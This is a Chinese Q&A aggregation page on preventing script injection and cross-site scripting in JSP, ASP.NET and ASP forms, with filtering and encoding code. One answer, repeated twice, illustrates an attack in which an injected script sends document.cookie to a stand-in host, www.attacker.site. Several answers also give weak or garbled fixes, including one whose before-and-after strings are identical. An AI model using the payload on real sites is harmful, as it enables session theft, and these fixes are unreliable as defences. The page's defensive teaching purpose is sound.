當前位置:首頁 » 網頁前端 » 防止腳本輸入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

防止腳本輸入

發布時間: 2022-09-26 07:33:38

⑴ 如何在jsp頁面中的文本框內防止輸入html標簽或者是一些腳本代碼

可以yong<> 來 匹配,去掉這樣的就可以了

⑵ asp.net如何防止xss(腳本注入啊)

<script>alert('abc')</script> 替換成<script>alert('abc')</script>這樣的話顯示出來也是<script>alert('abc')</script> 但是意義卻不再是腳本而是字元串了。可以通過替換把<>這兩個符號替換掉即可。

⑶ 如何禁止輸入框中輸入腳本

F1、提交時對輸入框數據進行校驗;
F2、提交時對輸入數據進行編碼;
F3、關閉提交的數據的Validate(WebForms下,將web.config中的驗證模式修改為2.0,同時在aspx頁上,修改Page指令的ValidateRequest="false")
以上三種,任選一。

⑷ 如何防止跨站點腳本攻擊

防止跨站點腳本攻擊的解決方法: 1.輸入過濾 對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.輸出過濾 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("&#" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安裝三方的應用防火牆,可以攔截css攻擊。 附: 跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。 跨站腳本包含三個部分:攻擊者,客戶和web站點。 跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。 攻擊 一個get請求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 會產生如下的結果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果請求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就會得到如下的響應 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script> 響應如下: <HTML> <Title>Welcome!</Title> Hi <script>window.open(「www.attacker.site/collect.cgi?cookie=」+document.cookie)</script> <BR> Welcome to our system ... </HTML> 瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。

⑸ 如何防止跨站點腳本攻擊

防止跨站點腳本攻擊的解決方法:

1.輸入過濾

對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.輸出過濾

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安裝三方的應用防火牆,可以攔截css攻擊。

附:

跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。

攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。

⑹ 輸入框禁止輸入script腳本例如:輸入<script>alert(「我是來搗亂的」)</script>之類的script腳本。

<input type=text onKeyDown="alert("我數來搗亂的");return false">

⑺ 如何在asp網頁中的文本框內防止輸入html標簽或者是一些腳本代碼

用replace,把你不想寫入資料庫的欄位全替換成別的答案補充顯示時,再替換回來呀答案補充你是怎麼替換的呢,代碼,你應該替換成別的,不是一些關鍵字,資料庫不允許寫入的答案補充replace(replace(獲取自文本框的字元串,"<","["),">","]")
這寫的什麼喔replace(獲取自文本框的字元串,"<","[")
這是把<替換成[